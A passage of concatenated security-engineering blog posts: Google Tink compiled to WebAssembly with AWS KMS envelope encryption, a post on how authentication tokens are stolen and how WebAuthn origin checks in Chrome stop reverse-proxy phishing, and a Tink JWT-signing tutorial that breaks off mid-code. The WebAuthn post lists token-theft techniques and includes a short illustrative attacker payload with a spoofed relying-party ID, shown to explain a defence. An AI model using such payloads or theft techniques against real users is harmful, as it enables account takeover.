WebAssembly.instantiateStreaming(fetch('main.wasm'), go.importObject).then(
  async (result) => {
    mod = result.module
    inst = result.instance

    go.run(inst)
    inst = await WebAssembly.instantiate(mod, go.importObject)

    ret = wasmEncryptString('aaa')
    console.log(ret)
    console.log(wasmDecryptString(ret[0], ret[1]))
  }
)

Benchmarking and optimization

This all seems great except that when we compile the Wasm module, we get:

% GOOS=js GOARCH=wasm go build -o main.wasm .
% du -h main.wasm
7.8M	main.wasm

Almost 8 MB! That really wouldn’t make for a snappy user experience. Can we do better? Stripping debugging symbols only reduces the file size by about 300 KB. However, we can compress the file with brotli and get a more manageable 2.1 MB file:

% GOOS=js GOARCH=wasm go build -o main.wasm main.go
% du -h main.wasm
7.8M    main.wasm
% brotli main.wasm -o compressed.wasm.br
% du -h compressed.wasm.br
2.1M    compressed.wasm.br

Depending on the use case, we could further prune Tink to remove all the modules that are not needed by our Wasm module.

To benchmark Tink’s runtime performance against native Web Crypto, we implemented a comparable encrypt/decrypt pair as follows:

async function encryptString(msg) {
  const key = await window.crypto.subtle.generateKey(
    { name: 'AES-GCM', length: 128 },
    true, // extractable
    ['encrypt', 'decrypt']
  )
  let iv = new Uint8Array(12)
  window.crypto.getRandomValues(iv)
  const encrypted = await window.crypto.subtle.encrypt(
    { name: 'AES-GCM', iv: iv },
    key,
    new TextEncoder().encode(msg)
  )
  const exportedKey = await window.crypto.subtle.exportKey('jwk', key)

  return [encrypted, exportedKey, iv]
}

async function decryptString(msg, keyExport, iv) {
  const key = await window.crypto.subtle.importKey(
    'jwk',
    keyExport,
    { name: 'AES-GCM', length: 128 },
    true, // extractable
    ['encrypt', 'decrypt']
  )

  const decrypted = await window.crypto.subtle.decrypt(
    { name: 'AES-GCM', iv: iv },
    key,
    msg
  )

  const decoded = new window.TextDecoder().decode(new Uint8Array(decrypted))

  return decoded
}

And we ran both function pairs with 100 times as follows:

for (var i = 0; i < 100; i++) {
  let val = makeid(i + 1)
  let t0 = performance.now()
  ret = wasmEncryptString(val)
  decrypted = wasmDecryptString(ret[0], ret[1])
  let t1 = performance.now()
  if (val != decrypted) {
    console.log(`invalid result: encrypted ${val} - received ${decrypted}`)
    break
  }
  console.log(
    `Call to wasmEncryptString/wasmDecryptString took ${t1 - t0} milliseconds.`
  )
}

for (var i = 0; i < 100; i++) {
  let val = makeid(i + 1)
  let t0 = performance.now()
  ret = await encryptString(val)
  decrypted = await decryptString(ret[0], ret[1], ret[2])
  let t1 = performance.now()
  if (val != decrypted) {
    console.log(`invalid result: encrypted ${val} - received ${decrypted}`)
    break
  }
  console.log(
    `Call to encryptString/decryptString took ${t1 - t0} milliseconds.`
  )
}

Excluding the first call to wasmEncryptString/wasmDecryptString which each took approximately 1.2 ms across 10 runs, the average for the Tink pair was 0.2-0.3 ms compared to WebCrypto’s 0.1-0.2 ms. While Tink is measurably slower than native, we believe it is negligible.

Accessing a Hardware Security Module directly from the browser

Lifting Tink to Wasm allows us to do some pretty exciting things, and one of them is to encrypt data using Envelope Encryption with a master key stored in a secure HSM. In envelope encryption, the HSM key acts as a key encryption key (KEK). That is, it's used to encrypt data encryption keys (DEK) which in turn are used to encrypt actual data.

For this blogpost we use a Cloud KMS, but the same principles are applicable to any HSM that has an adapter for Tink. While both GCP and AWS offer KMS solutions, Google doesn’t expose 'access-control-allow-origin' on GCP APIs, so calls to GCP KMS from the browser are blocked by Cross-origin resource sharing (CORS) policies; therefore, we can only use the AWS KMS from the browser.

After creating a KEK in KMS, to encrypt each message you must:

Generate a data encryption key (DEK) locally.
Use the DEK locally to encrypt the message.
Use Cloud KMS to encrypt (wrap) the DEK with the KEK.
Store the encrypted data and the wrapped DEK.

You don't need to implement this envelope encryption process from scratch when you use Tink.

To use Tink for envelope encryption, you provide Tink with a key URI and credentials. The key URI points to your KEK in KMS, and the credentials let Tink use the KEK. Tink generates the DEK, encrypts the data, wraps the DEK, and then returns a single ciphertext with the encrypted data and wrapped DEK.

For the sake of brevity we’ll skip the details on key creation in KMS and authentication to the user AWS account. We’ll also skip the details on how to parse arguments from JavaScript - for details, please see the section below on how to use fetch from Go in Wasm.

The first step is to create a KMS instance:

func constructAWSKMS(keyURI string, data map[string]string) (*kms.KMS, error) {
   crVal := credentials.Value{
       AccessKeyID:     data["access_key"],
       SecretAccessKey: data["secret"],
   }
   creds := credentials.NewStaticCredentialsFromCreds(crVal)

   region, err := getRegion(keyURI)
   if err != nil {
       return nil, err
   }

   session := session.Must(session.NewSession(&aws.Config{
       Credentials: creds,
       Region:      aws.String(region),
   }))

   return kms.New(session), nil
}

Now that we have a KMS instance we can create a registry.KMSClient

kms, err := constructAWSKMS(keyURI, creds)

if err != nil {
    fmt.Printf("Error constructing kms %v\n", err)
    return js.Value{}, errors.New("Error constructing kms")
}
KMSClient, err = awskms.NewClientWithKMS(keyURI, kms)

if err != nil {
    fmt.Printf("Error connecting to aws kms %v\n", err)
    return js.Value{}, errors.New("Error connecting to aws kms")
}

The KMSClient allows us to get an AEAD primitive from KMS and perform envelope encryption/decryption with it.

   registry.RegisterKMSClient(KMSClient)
   masterKey, err := KMSClient.GetAEAD(keyURI)
   if err != nil {
       fmt.Printf("Unable to get the master key from KMS %v\n", err)
       return nil
   }

   //create a keyset encrypted with the master key from KMS
   dek := aead.AES128CTRHMACSHA256KeyTemplate()
   kh, err := keyset.NewHandle(aead.KMSEnvelopeAEADKeyTemplate(keyURI, dek))
   if err != nil {
       fmt.Printf("Unable to create a keyset %v\n", err)
       return nil
    }
   aeadPrimitive, err := aead.New(kh)
   if err != nil {
       fmt.Printf("Unable to create the aead primitive %v\n", err)
       return nil
   }

   //Let's encrypt the message
   ct, err := aeadPrimitive.Encrypt([]byte(msg), nil)
   if err != nil {
       fmt.Printf("Unable to encrypt the message %v\n", err)
       return nil
    }

To decrypt a ciphertext we first load the key and decrypt it with the master key from KMS and then we can decrypt the message as we would normally do


func decryptStringWithKMS(data, encryptedKeyset, keyURI string, kmsClient registry.KMSClient) (string, error) {

   fmt.Println("Decrypting:", data)

   registry.RegisterKMSClient(kmsClient)
   masterKey, err := kmsClient.GetAEAD(keyURI)
   if err != nil {
       return "", err
   }

   encryptedStringBinary, err := base64.URLEncoding.DecodeString(data)
   if err != nil {
       return "", errors.New("Error decoding Base64 encoded data")
   }

   decodedKeyset, err := base64.URLEncoding.DecodeString(encryptedKeyset)
   if err != nil {
       return "", errors.New("Error decoding Base64 encoded data")
   }

   reader := keyset.NewJSONReader(strings.NewReader(string(decodedKeyset)))

   // Read reads the encrypted keyset handle back from the io.Reader
   // implementation and decrypts it using the master key.
   kh, err := keyset.Read(reader, masterKey)
   if err != nil {
       return "", err
   }

   a, err := aead.New(kh)
   if err != nil {
       return "", err
   }

   //now we can decrypt the string
   decryptedString, err := a.Decrypt([]byte(encryptedStringBinary), nil)
   if err != nil {
       return "", err
   }
   return string(decryptedString), nil
}

Putting this all together from JavaScript:

WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject).then(async (result) => {
    mod = result.module;
    inst = result.instance;

    go.run(inst);
    inst = await WebAssembly.instantiate(mod, go.importObject);

    credsAWS = {
        'access_key': "YOUR_ACCESS_KEY",
        'secret': "YOUR_SECRET",
    }

    ret = await wasmEncryptStringKMS("test hsm", "aws-kms://arn:aws:kms:us-east-1:489321446924:key/cdb44898-ce62-4799-b743-bf39631c9b51
    ", "aws", credsAWS)
    console.log(ret)
    ret = await wasmDecryptStringKMS(ret[0], ret[1], "aws-kms://arn:aws:kms:us-east-1:489321446924:key/cdb44898-ce62-4799-b743-bf39631c9b51", "aws", credsAWS)
    console.log(ret)
...

This allows us to store the encryption key securely without having to worry about leaking key material.

Notes on making network requests from Wasm

Quoting from the FuncOf reference:

Invoking the wrapped Go function from JavaScript will pause the event loop and spawn a new goroutine. Other wrapped functions which are triggered during a call from Go to JavaScript get executed on the same goroutine.

As a consequence, if one wrapped function blocks, JavaScript's event loop is blocked until that function returns. Hence, calling any async JavaScript API, which requires the event loop, like fetch (http.Client), will cause an immediate deadlock. Therefore a blocking function should explicitly start a new goroutine.

Go HTTP calls use fetch in Javascript. This results in a blocking operation (network call), which needs to be handled properly otherwise it will result in a deadlock. In our specific example, fetch is used to encrypt the message with the key stored in KMS.

To solve the issue, blocking functions should explicitly start a new goroutine. However, this makes returning data to Javascript trickier because we can’t use channels (we’d be back in the deadlock). The easiest solution is to create a Promise through syscall/js and call resolve() through the goroutine:

func resolvePromise(cb func() (js.Value, error)) js.Value {
   promiseHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
       resolve := args[0]
       reject := args[1]

       go func() {
           ret, err := cb() //execute the blocking function in a goroutine
           if err != nil {
               reject.Invoke(js.Global().Get("Error").Error(err))
               return
           }

           resolve.Invoke(ret)
       }()

       return nil
   })
   defer promiseHandler.Release()

   return js.Global().Get("Promise").New(promiseHandler)
}

Conclusion

In this blogpost we’ve demonstrated an example where Tink makes it very easy to perform envelope encryption and to interface with a Cloud KMS, which would be significantly harder to implement with WebCrypto. While we used AWS HSMs for this blogpost, it is equally easy to implement the same mechanism with any HSM (including portable ones such as YubiHSM) by creating a Tink integration for it.

The Tink team is working on a TypeScript port of the library and we are eagerly waiting for its release. While lifting Tink to Wasm is definitely possible, the tradeoffs of using Tink via Wasm vs native WebCrypto are not obvious and are highly dependent on your project requirement.

In a future blogpost we’ll expand further on client-side encryption to show how we can allow the user to store encrypted data without the significant burden of managing keys or credentials.

Phishing Attacks – WebAuthn to the rescue

Vincenzo Iozzo, SlashID Team — Mon, 12 Sep 2022 00:00:00 GMT

What are Authentication Tokens

Tokens are the most common way to hold user authentication information.

A token can be anything from a random string of characters to a fully formed JSON Web Token (JWT). Their primary purpose is to prove that the user navigating to a particular site has previously verified their identity at some point. This is generally achieved either by verifying the signature on the token or by pinging the identity provider to confirm the validity and authenticity of a token.

Tokens typically have an expiration date set by the server that issued them. Usually, the expiration date of tokens created for B2C purposes is 30 to 90 days, while in enterprise settings it can be anywhere between a few hours to several weeks.

Why are Authentication Tokens valuable?

Attackers who obtain authentication tokens can impersonate a user on a website or application. Once they exploit tokens to breach the system, they can move laterally to compromise the rest of the infrastructure in enterprise scenarios, or commit various forms of theft and fraud in the consumer world.

Before the introduction of multifactor authentication (MFA), credential stuffing attacks were significantly more frequent than token-stealing attacks, since it is generally easier to guess a password than to compromise a website, a browser, or a device.

However, today botnets and cybercriminals increasingly target cookies since they allow MFA bypass without resorting to social engineering.

The Genesis marketplace, one of the biggest darknet markets used by attackers, contains hundreds of thousands of stolen cookies, including the one used to initiate the recent attack against the game developer Electronic Arts which resulted in 780GB of proprietary data exfiltrated.

Other examples of recent attacks involving compromised cookies/tokens include the last generation of the EMOTET malware, possibly the most dangerous botnet of the last decade, and financially motivated phishing campaigns against popular YouTube influencers.

How are Auth Tokens stolen?

Auth Tokens can be stolen through a variety of methods, including:

Social Engineering: In this scenario, the attacker creates a phishing campaign where the victim successfully logs into a remote service but their credentials are intercepted. Microsoft calls these attacks 'Adversary in the middle' (AiTM). Frameworks to carry out credential phishing attacks are readily available on GitHub and in various forums.
Man in the middle (MITM) attacks: If the server doesn’t employ https or if an attacker can forge a SSL certificate, they can intercept the victim's network traffic and steal cookies/tokens.
Web Vulnerability (XSS, Session Hijacking): Non-HttpOnly cookies are at risk of being stolen through various web exploitation techniques.
Browser Compromise: As discussed previously, any violation of the browser security model can result in stolen cookies.
Device Compromise: Countless malware and botnets are capable of stealing cookies once a user device is compromised. Notable examples include: Raccoon Stealer, Sorano and RedLine.

Most recently, more and more enterprise customers have been attacked with various forms of reverse proxies to bypass MFA.

Once the attacker has stolen cookies/tokens, they generally breach and move laterally in the system to elevate their privileges within an enterprise setting or to identity theft or credit card information theft within a B2C scenario.

WebAuthn, in a nutshell

WebAuthn enables safe public-key cryptography inside the browser directly from JavaScript through an interface exposed via navigator.credentials. This is what happens under the hood when your user registers a new account on a website with WebAuthn:

The browser interacts with an Authenticator, which can either be a Platform Authenticator (such as Windows Hello, TouchID, FaceID and similar) or an external/Roaming Authenticator such as a Yubikey or a Titan Key.
The Authenticator generates a key pair, stores the private key in a secure location and returns the public key to the server via the browser API.

Any time a user wants to log-in, they sign a blob with the private key stored on their device. Then, the remote server verifies the authenticity of the blob by checking its signature through the public key obtained in the registration process.

WebAuthn Anti-Phishing Properties

WebAuthn provides strong protection against phishing attacks. In fact, all compliant browsers enforce a number of security checks.

In either scenario, a successful attack still won't give the attacker access to the private key itself, but only to a session token/cookie which will expire once the browsing session is over.

The technical details

For the technically curious, here’s a code snippet taken from the Chrome web browser. It shows the set of checks Chrome performs on a WebAuthn authentication assertion request to verify its origin:

...
 status = security_checker_->ValidateDomainAndRelyingPartyID(
     caller_origin, options->relying_party_id, request_type,
     options->remote_desktop_client_override);
 if (status != blink::mojom::AuthenticatorStatus::SUCCESS) {
   CompleteGetAssertionRequest(status);
   return;
 }
…

When an authentication request reaches the browser, Chrome will call ValidateDomainAndRelyingPartyID.

blink::mojom::AuthenticatorStatus
WebAuthRequestSecurityChecker::ValidateDomainAndRelyingPartyID(
   const url::Origin& caller_origin,
   const std::string& relying_party_id,
   RequestType request_type,
   const blink::mojom::RemoteDesktopClientOverridePtr&
       remote_desktop_client_override) {
 …

 blink::mojom::AuthenticatorStatus domain_validation =
     OriginAllowedToMakeWebAuthnRequests(caller_origin);
 if (domain_validation != blink::mojom::AuthenticatorStatus::SUCCESS) {
   return domain_validation;
 }

 …

 if (!OriginIsAllowedToClaimRelyingPartyId(relying_party_id,
                                           relying_party_origin)) {
   return blink::mojom::AuthenticatorStatus::BAD_RELYING_PARTY_ID;
 }
 return blink::mojom::AuthenticatorStatus::SUCCESS;
}

Then it calls OriginAllowedToMakeWebAuthnRequests to check whether the origin is localhost or https. It then proceeds to call OriginIsAllowedToClaimRelyingPartyId to verify that the current domain matches the domain associated with the key, thus preventing phishing attempts where a domain other than the original tries to retrieve a valid user credential. Let’s look at the two functions one by one.

blink::mojom::AuthenticatorStatus OriginAllowedToMakeWebAuthnRequests(
   url::Origin caller_origin) {
 …

 if (caller_origin.opaque()) {
   return blink::mojom::AuthenticatorStatus::OPAQUE_DOMAIN;
 }

 // The scheme is required to be HTTP(S).  Given the
 // |network::IsUrlPotentiallyTrustworthy| check below, HTTP is effectively
 // restricted to just "localhost".
 if (caller_origin.scheme() != url::kHttpScheme &&
     caller_origin.scheme() != url::kHttpsScheme) {
   return blink::mojom::AuthenticatorStatus::INVALID_PROTOCOL;
 }

 // TODO(https://crbug.com/1158302): Use IsOriginPotentiallyTrustworthy?
 if (url::HostIsIPAddress(caller_origin.host()) ||
     !network::IsUrlPotentiallyTrustworthy(caller_origin.GetURL())) {
   return blink::mojom::AuthenticatorStatus::INVALID_DOMAIN;
 }

 return blink::mojom::AuthenticatorStatus::SUCCESS;
}

OriginAllowedToMakeWebAuthnRequests will only allow localhost or https origins.

// Returns whether a caller origin is allowed to claim a given Relying Party ID.
// It's valid for the requested RP ID to be a registrable domain suffix of, or
// be equal to, the origin's effective domain.  Reference:
// https://html.spec.whatwg.org/multipage/origin.html#is-a-registrable-domain-suffix-of-or-is-equal-to.
bool OriginIsAllowedToClaimRelyingPartyId(
   const std::string& claimed_relying_party_id,
   const url::Origin& caller_origin) {
 // `OriginAllowedToMakeWebAuthnRequests()` must have been called before.
 DCHECK_EQ(OriginAllowedToMakeWebAuthnRequests(caller_origin),
           blink::mojom::AuthenticatorStatus::SUCCESS);

…

 if (claimed_relying_party_id.empty()) {
   return false;
 }

 if (caller_origin.host() == claimed_relying_party_id) {
   return true;
 }

 if (!caller_origin.DomainIs(claimed_relying_party_id)) {
   return false;
 }

…

 return true;
}

OriginIsAllowedToClaimRelyingPartyId verifies that the request comes from the same domain associated with the relying party, which is stored in the authentication assertion request. The function first checks whether the relying party ID in the WebAuthn request is empty; if so, the request is denied. If the relying party ID matches the domain where the request originates, or is a registrable domain suffix, the request is allowed.

The enforcement of https, combined with the condition that the relying party ID has to match the origin domain of the request, can prevent reverse-proxy phishing attacks.

For example, in the scenario illustrated below the attacker would need to craft a payload of this kind to call navigation.credentials.get() and begin an authentication assertion process.

var options = {
 // The challenge is produced by the server; see the Security Considerations
 challenge: new Uint8Array(/* 32 more random bytes generated by the server */]),
 rpId: “target-website.com”
 timeout: 120000,  // 2 minutes
};

navigator.credentials.get({ "publicKey": options })
...

However, because the rpID and the origin do not match, OriginIsAllowedToClaimRelyingPartyId would prevent the call from succeeding, thus preventing the attack.

Conclusion

In summary, WebAuthn can significantly reduce the risk of phishing as well as the usefulness of a stolen session token.

In fact, WebAuthn goes a step further than other authentication methods, and prevents phishing attacks while also reducing UX friction. The seamless user experience allows for more frequent authentication prompts, thus offsetting the need for long-lived authentication tokens.

Like most security measures, Webauthn is not a panacea in and of itself. In particular, weak key recovery mechanisms and the presence of weaker authentication schemes(e.g., SMS OTP) could render WebAuthn moot.

However, its adoption in conjunction with short-lived session cookies and other mitigations (e.g., risk-based MFA, IP address checks/geofencing, browser fingerprinting) can be an invaluable combination to curb phishing and eliminate credential stuffing attacks.

Using Google Tink to sign JWTs with ECDSA

Joseph Gardner, Vincenzo Iozzo — Mon, 20 Feb 2023 00:00:00 GMT

Introduction

In this blog post, we will show how the Tink cryptography library can be used to create, sign, and verify JSON Web Tokens (JWTs), as well as to manage the cryptographic keys for doing so. This is intended as a more practical example to complement Tink’s own documentation on the underlying cryptographic theory and their approach.

Background

We chose Tink because of three core characteristics:

The Tink philosophy of an easy to use API that is difficult to mess up and with safe defaults - we’ll see below how picking the wrong library could make your token service entirely insecure
Key rotation and management out of the box
Tink encryption APIs and integration with KMS makes it easy to protect the signing key

Before we dive into the tutorial, let’s do a brief recap of JWTs.

JSON Web Tokens

JWTs are an industry standard and are widely used in the identity, authentication, and user management space. They are used to transfer information between two parties in a verifiable manner. There are many excellent introductions to JWTs, so for the purposes of this discussion we will focus on the structure.

JWTs are typically transmitted as base-64 encoded strings, and are composed of three parts separated by periods:

A header containing metadata about the token itself
The payload, a JSON-formatted set of claims
A signature that can be used to verify the contents of the payload

For example, this JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvZSBTbGFzaElEIiwiaWF0IjoxNTE2MjM5MDIyfQ.4cL42NsNCXLPEvmvNGxHN3wLuarpp98wwezHnSt2fqg

has the following parts

Part	Encoded value	Decoded value	Description
Header	eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9	{ "alg": "HS256", "typ": "JWT"}	Indicates that this is a JWT and that it was hashed with the HS256 algorithm (HMAC using SHA-256)
Payload	eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvZSBTbGFzaElEIiwiaWF0IjoxNTE2MjM5MDIyfQ	{"sub": "1234567890", "name": "SlashID User", "iat": 1516239022}	Payload with claims about a user and the token
Signature	4cL42NsNCXLPEvmvNGxHN3wLuarpp98wwezHnSt2fqg	N/A	The signature generated using the HS256 algorithm that verifies the payload

</div>

The important aspect of this is that the JWT is signed, meaning that the claims in the payload can be verified, if one has access to the appropriate cryptographic key.

The signature of a JWT token is calculated as follows:

signAndhash(base64UrlEncode(header) + '.' + base64UrlEncode(payload))

Where signAndhash is the signing and hashing algorithms specified in the alg header. The JOSE IANA page contains the list of supported algorithms.

In the example above HS256 stands for HMAC using SHA-256 and the secret is a 256-bit key.

Signing is not the same as encryption - even without the cryptographic key for verifying, anybody can decode the token payload and inspect the contents.

The Task: Creating and Verifying Signed JWTs

Suppose we have been tasked with building a system to securely sign and verify JWTs for an authenticated user. We will focus on building a small HTTP server that exposes two endpoints: one for generating a signed JWT based on some user information, and one for verifying an existing JWT. We will use asymmetric keys for this - meaning the key has a private part (for signing) and a public part (for verifying). Examples of asymmetric key algorithms include RSA and ECDSA.

Picking the right algorithm

Before we begin, it’s crucial to understand which signing algorithm to use and what are the pros and cons. As discussed earlier the algorithm used to sign the JWT is specified in the header in the alg field, and there are several options for signing and hashing algorithms.

Let’s start with the hashing algorithm. The most common algorithm for hashing is SHA, and an intuitive way to think about hashing security is that the level of security each one gives you is 50% of their output size. So SHA-256 will provide you with 128-bits of security, and SHA-512 will provide you with 256-bits of security. This means that an attacker will have to generate 2^128 hashes before they start finding collisions. Generally anything above 256-bits is considered acceptable.

When it comes to signing, historically, RS256 (RSASSA-PKCS1-v1_5) RS256 has been the default for most JWT implementations. JWTs signed with RSASSA-PKCS1-v1_5 have a deterministic signature, meaning that the same JWT header & payload will always generate the same signature.

Even though there are no known attacks against RSASSA-PKCS1-v1_5 its usage is discouraged in favor of Elliptic Curves/ECDSA. And in certain cases, like for the UK Open Banking standard, RSASSA-PKCS1-v1_5 is forbidden.

When it comes to ECDSA, the most common choice is ES256 which stands for ECDSA using P-256 (an elliptic curve also known as secp256r1) and SHA-256. ECDSA requires much shorter keys than RSA in terms of strength (you need 3072 bits for an RSA key to have the same strength of P-256) and key generation is faster than RSA even though verification is generally slower.

ECDSA, by default, uses a random nonce that is generated per signature, hence ECDSA-generated signatures are non-deterministic.

The random nonce is key, as reusing the random nonce or having easily-guessable bits in the nonce can make the private key easily recoverable. Two high profile cases of such incidents were Sony's Playstation 3 and Bitcoin. In the Playstation 3 case, the private key was recovered due to a static nonce, and in Bitcoin’s case, Android users were affected due to a bug in Java’s SecureRandom class on Android.

Given the risk, it is key to pick a library that safely implements ECDSA either by using a deterministic scheme as described by RFC 6979 or by implementing the algorithm in a way that doesn’t depend on the quality of the random value - for example, see this thread.

For this blogpost we’ll use ES256. If you are implementing your own signing service, please refer to RFC 8725 for current best practices.

Creating, Signing, and Verifying a JWT

For this blogpost we will use Tink’s Go library, but there are published libraries for several other languages, and the principles are the same.

To begin with, let’s take a look at the Tink documentation on JWTs. There are five types that we are interested in to begin with:

jwt.RawJWT - an unverified JWT
jwt.VerifiedJWT - a JWT that has been verified
jwt.Signer - an interface for signing JWTs
jwt.Verifier - an interface for verifying signed and encoded JWTs
keyset.Handle - the type representing a cryptographic keyset, used to create instances implementing Signer and Verifier

The lifecycle of a JWT is

First, we want to build our RawJWT that will be signed. This includes both the registered claims as described in the JWT specification, and some custom claims:

   jwtID := uuid.New().String()

   now := time.Now()
   expiry := now.Add(tokenDuration)

   opts := &jwt.RawJWTOptions{
       Subject:      &userID,
       Issuer:       &tokenIssuer,
       JWTID:        &jwtID,
       IssuedAt:     &now,
       ExpiresAt:    &expiry,
       NotBefore:    &now,
       CustomClaims: claims,
   }

   rawJWT, err := jwt.NewRawJWT(opts)
   if err != nil {
       return "", fmt.Errorf("failed to create new RawJWT: %w", err)
   }

Now we have our RawJWT, we can sign and encode it. First, we need a Signer implementation.

Note that in the example jwt refers to the Tink jwt package.

   signingKeyset, err := tm.keysetsRepo.GetKeyset()
   if err != nil {
       return "", fmt.Errorf("failed to get token signing keyset: %w", err)
   }

   signer, err := jwt.NewSigner(signingKeyset)
   if err != nil {
       return "", fmt.Errorf("failed to create new Signer: %w", err)
   }

To do this, we have introduced an interface, KeysetsRepo:

type KeysetsRepo interface {
   GetKeyset() (*keyset.Handle, error)
}

Which is the interface to whatever we are using to store the keysets. We will come back to the details of this later - for now, we can simply define the interface, which is a single method for getting a keyset. Once we have that keyset, we can create a new JWT signer.

Not all keysets can be used to create a Signer - the keyset must have been created using one of the templates defined in the JWT library, as discussed below.

Finally, we can sign the token and return the signed token string:

   signedToken, err := signer.SignAndEncode(rawJWT)
   if err != nil {
       return "", fmt.Errorf("failed to sign RawJWT: %w", err)
   }

   return signedToken, nil

So now we have the whole method for signing JWTs with Tink.

Now let’s implement the second part of the lifecycle and verify the token. First, we create a Verifier instance:

   verificationKeyset, err := tm.keysetsRepo.GetPublicKeyset()
   if err != nil {
       return nil, fmt.Errorf("failed to get token verification keyset: %w", err)
   }

   verifier, err := jwt.NewVerifier(verificationKeyset)
   if err != nil {
       return nil, fmt.Errorf("failed to create new Verifier: %w", err)
   }

For this, we have added a new method to the KeysetsRepo interface, GetPublicKeyset:

type KeysetsRepo interface {
   GetKeyset() (*keyset.Handle, error)
   GetPublicKeyset() (*keyset.Handle, error)
}

As we are implementing signing with asymmetric keys, we deal with two keysets - the private one for signing tokens, and the public one for verifying. The former must be stored securely and kept secret, otherwise anyone can sign tokens as if they were you, making token verification meaningless. The latter can be published, for example as part of an OIDC discovery document. In this case we make the separation clear by having two methods in the repo, one for getting the full keyset, and one for getting just the public part.

We also need to define a Validator that the Verifier can use to check the token claims:

   opts := &jwt.ValidatorOpts{
       ExpectedIssuer:        &tokenIssuer,
       IgnoreTypeHeader:      true,
       IgnoreAudiences:       true,
       ExpectIssuedInThePast: true,
   }

   validator, err := jwt.NewValidator(opts)
   if err != nil {
       return nil, fmt.Errorf("failed to create new Validator: %w", err)
   }

We are ignoring some fields in this example to keep it shorter.

Finally, we can decode and verify the token:

   verifiedJWT, err := verifier.VerifyAndDecode(signedToken, validator)
   if err != nil {
       return nil, InvalidTokenError
   }

   return verifiedJWT, nil

Now we have the whole method for verifying JWTs as well.

Storing the Signing Keysets

The next step is to implement our KeysetsRepo, which is the interface between our service and however we are persisting our keysets. Safely persisting our token keysets is essential - if we were to lose them, all existing tokens would need to be invalidated, which could have a significant impact on the user experience for anybody using the service to create and verify tokens.

For this example, we will implement a very simple keysets repo that stores the keys in the local file system. While this would typically not be suitable for large-scale distributed systems, it serves to illustrate the essential points of persisting and retrieving keysets. The keyset will be stored in a single file in the working directory. Before we begin to implement the methods needed for our interface, we will write a method for initializing the keyset, InitTokenKeyset.

type FSKeysetsRepo struct {
   keysetsFilePath string
   masterKey       tink.AEAD
}

func NewFSKeysetsRepo(keysetsFilePath string, masterKey tink.AEAD) *FSKeysetsRepo {
   return &FSKeysetsRepo{
       keysetsFilePath: keysetsFilePath,
       masterKey:       masterKey,
   }
}


func (r *FSKeysetsRepo) InitTokenKeyset() error {
   handle, err := keyset.NewHandle(jwt.ES256Template())
   if err != nil {
       return fmt.Errorf("failed to create new keyset handle with ES256 template: %w", err)
   }

   return r.writeKeysetToFile(handle)
}


func (r *FSKeysetsRepo) writeKeysetToFile(handle *keyset.Handle) error {
   f, err := os.Create(r.keysetsFilePath)
   if err != nil {
       return fmt.Errorf("failed to create keysets file %s: %w", r.keysetsFilePath, err)
   }
   defer f.Close() // unhandled error

   jsonWriter := keyset.NewJSONWriter(f)

   err = handle.Write(jsonWriter, r.masterKey)
   if err != nil {
       return fmt.Errorf("failed to write keyset to file %s: %w", r.keysetsFilePath, err)
   }

   return nil
}

First, we create a new keyset using keyset.NewHandle and the ES256Template from the jwt package. This creates a keyset with the ES256 algorithm, which implements elliptic curve signing with the NIST P-256 curve. As mentioned above, this creates a keyset suitable for creating Signer and Verifier instances. Tink provides many other templates for keysets that cannot be used for signing/verifying, and trying to use one as such will result in a runtime error. The jwt subpackage in Tink lists the available templates.

Once we have the new keyset handle, we can serialize it to JSON and write it to a file.

   jsonWriter := keyset.NewJSONWriter(f)

   err = handle.Write(jsonWriter, r.masterKey)
   if err != nil {
       return fmt.Errorf("failed to write keyset to file %s: %w", r.keysetsFilePath, err)

We create a JSONWriter instance for the file, and then call the keyset handle’s Write method. Note that this takes two arguments - an instance of the Writer implementation, and a tink.AEAD instance, which we have called masterKey. This is the encryption key used to encrypt the keyset before writing it to the file.

Tink provides various other implementations of Writer; we have chosen JSON to be more human-readable, so the keyset files can be inspected.

Now we can create a keyset and securely store it in a local file. We can now return to implementing the methods for the KeysetsRepo interface. First, GetKeyset:

func (r *FSKeysetsRepo) GetKeyset() (*keyset.Handle, error) {
   return r.readKeysetFromFile()
}

func (r *FSKeysetsRepo) readKeysetFromFile() (*keyset.Handle, error) {
   f, err := os.Open(r.keysetsFilePath)
   if err != nil {
       return nil, fmt.Errorf("failed to open keysets file %s: %w", r.keysetsFilePath, err)
   }
   defer f.Close() // unhandled error

   jsonReader := keyset.NewJSONReader(f)

   handle, err := keyset.Read(jsonReader, r.masterKey)
   if err != nil {
       return nil, fmt.Errorf("failed to read keyset as JSON: %w", err)
   }

   return handle, err
}

We will need to re-use the readKeysetFromFile logic later, so we have extracted it to a separate method. Here, we open the file holding the keyset, and create a JSONReader (since we stored the keyset serialized as JSON). Then we use the keyset.Read method to read the keyset from the file and create a keyset.Handle. Note that again the master key is needed, this time to decrypt the keyset.

The GetPublicKeyset method is very similar, with one additional step:

func (r *FSKeysetsRepo) GetPublicKeyset() (*keyset.Handle, error) {
   handle, err := r.readKeysetFromFile()
   if err != nil {
       return nil, err
   }

   publicHandle, err := handle.Public()
   if err != nil {
       return nil, fmt.Errorf("failed to get public keyset: %w", err)
   }

   return publicHandle, nil
}

We get the public part of the keyset only using the handle.Public() method, which returns a new keyset containing only the public part, which we then return.

The API

The last remaining piece of our service is an API that can be used to create and verify tokens. For this example, we will implement a very basic HTTP server exposing two endpoints:

func StartServer(h *APIHandler) error {
   mux := http.NewServeMux()
   mux.HandleFunc("/tokens", h.PostToken)
   mux.HandleFunc("/tokens/verify", h.PostVerifyToken)

   return http.ListenAndServe(":8080", mux)
}

Both endpoints will accept only the POST method. POST /tokens will accept some user information and return a signed and encoded JWT; POST /tokens/verify will accept a signed token and return a boolean indicating whether it is valid.

PostToken can leverage GenerateTokenWithClaims to generate a signed token and PostVerifyToken can leverage VerifyToken to verify a token.

The Master Key

Our service is nearly complete - we have our API, a layer of business logic for managing our tokens, and persistence for our keysets. It’s time to put it all together:

func main() {
   conf := getConfigFromEnv()

   keysetsRepo := NewFSKeysetsRepo(
       conf.keysetsFilePath,
       masterKey,
   )

   tokenManager := NewTinkTokenManager(keysetsRepo)

   apiHandler := NewAPIHandler(tokenManager)

   err := keysetsRepo.InitTokenKeyset()
   if err != nil {
